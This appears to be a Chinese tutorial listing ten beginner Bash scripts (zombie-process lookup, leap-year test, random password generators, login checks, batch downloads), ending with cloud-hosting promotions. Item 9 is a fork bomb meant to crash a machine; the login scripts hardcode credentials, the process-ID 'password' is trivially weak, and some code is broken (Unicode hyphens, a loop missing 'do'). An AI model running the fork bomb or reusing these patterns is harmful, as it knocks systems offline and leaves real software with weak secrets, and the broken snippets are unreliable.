1. 查找Linux 系统中的僵尸进程
#!/bin/bash
#awk 判断ps 命令输出的第8 列为Z 是,显示该进程的PID 和进程命令
ps aux |awk '{if($8 == "Z"){print $2,$11}}'
2. 提示用户输入年份后测试判断是否为闰年
#!/bin/bash
#能被4 整除并且并100 整除的年是闰年
#能被400 整除的年也是闰年
read ‐p "请输入一个年份:" year
if [ "$year" = "" ];then
echo "没有输入年份"
exit
fi
#使用正则测试变量year 中是否包含大小写字母
if [[ "$year" =~ [a‐Z] ]];then
echo "你输入的不是数字"
exit
fi
if [ $[year % 4] ‐eq 0 ] && [ $[year % 100] ‐ne 0 ];then
echo "$year 是闰年"
elif [ $[year % 400] ‐eq 0 ];then
echo "$year 是闰年"
else
echo "$year 不是闰年"
fi
3. 生成随机密码(urandom 版本)
#!/bin/bash
#/dev/urandom 文件是Linux 内置的随机设备文件
#cat /dev/urandom 可以看看里面的内容,ctrl+c 退出查看
#查看该文件内容后,发现内容有些太随机,包括很多特殊符号,我们需要的密码不希望使用这些符号
#tr ‐dc '_A‐Za‐z0‐9' </dev/urandom
#该命令可以将随机文件中其他的字符删除,仅保留大小写字母,数字,下划线,但是内容还是太多
#我们可以继续将优化好的内容通过管道传递给head 命令,在大量数据中仅显示头10 个字节
#注意A 前面有个下划线
tr ‐dc '_A‐Za‐z0‐9' </dev/urandom | head ‐c 10
4. 生成随机密码(字串截取版本)
#!/bin/bash
#设置变量key,存储密码的所有可能性(密码库),如果还需要其他字符请自行添加其他密码字符
#使用$#统计密码库的长度
key="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
num=${#key}
#设置初始密码为空
pass=''
#循环8 次,生成8 为随机密码
#每次都是随机数对密码库的长度取余,确保提取的密码字符不超过密码库的长度
#每次循环提取一位随机密码,并将该随机密码追加到pass 变量的最后
for i in {1..8}
do
index=$[RANDOM%num]
pass=$pass${key:$index:1}
done
echo $pass
5. 生成随机密码(UUID 版本,16 进制密码)
#!/bin/bash
uuidgen
6. 生成随机密码(进程ID 版本,数字密码)
#!/bin/bash
echo $$
7. 测试用户名与密码是否正确
#!/bin/bash
#用户名为tom 并且密码为123456,则提示登录成功,否则提示登录失败
read ‐p "请输入用户名:" user
read ‐p "请输入密码:" pass
if [ "$user" == 'tom' ‐a "$pass" == '123456' ];then
echo "Login successful"
else
echo "Login Failed"
fi
8. 循环测试用户名与密码是否正确
#!/bin/bash
#循环测试用户的账户名和密码,最大测试3 次,输入正确提示登录成功,否则提示登录失败
#用户名为tom 并且密码为123456
for i in {1..3}
do
read -p "请输入用户名:" user
read -p "请输入密码:" pass
if [ "$user" == 'tom' -a "$pass" == '123456' ];then
echo "Login successful"
exit
fi
done
echo "Login Failed"
9. Shell 脚本的fork 炸弹
#!/bin/bash
#快速消耗计算机资源,致使计算机死机
#定义函数名为.(点), 函数中递归调用自己并放入后台执行
.() { .|.& };.
10. 批量下载有序文件(pdf、图片、视频等等)
#!/bin/bash
#本脚本准备有序的网络资料进行批量下载操作(如01.jpg,02.jpg,03.jpg)
#设置资源来源的域名连接
url="http://www.test.com/"
echo "开始下载…"
sleep 2
type=jpg
for i in `seq 100`
echo "正在下载$i.$type"
curl $url/$i.$type ‐o /tmp/${i}$type
sleep 1
done
#curl 使用‐o 选项指定下载文件另存到哪里
如果想上手操作练代码的同学们可以通过阿里云ecs服务器免费试用参与!
入口一:新老同学免费试用
入口二:上云第一站
入口三:学生版超低价云服务器
入口四:云服务器专享特惠版
入口五:云服务器特惠1.5折起
入口七:阿里云最新活动中心
入口八:中小企业权益满减礼包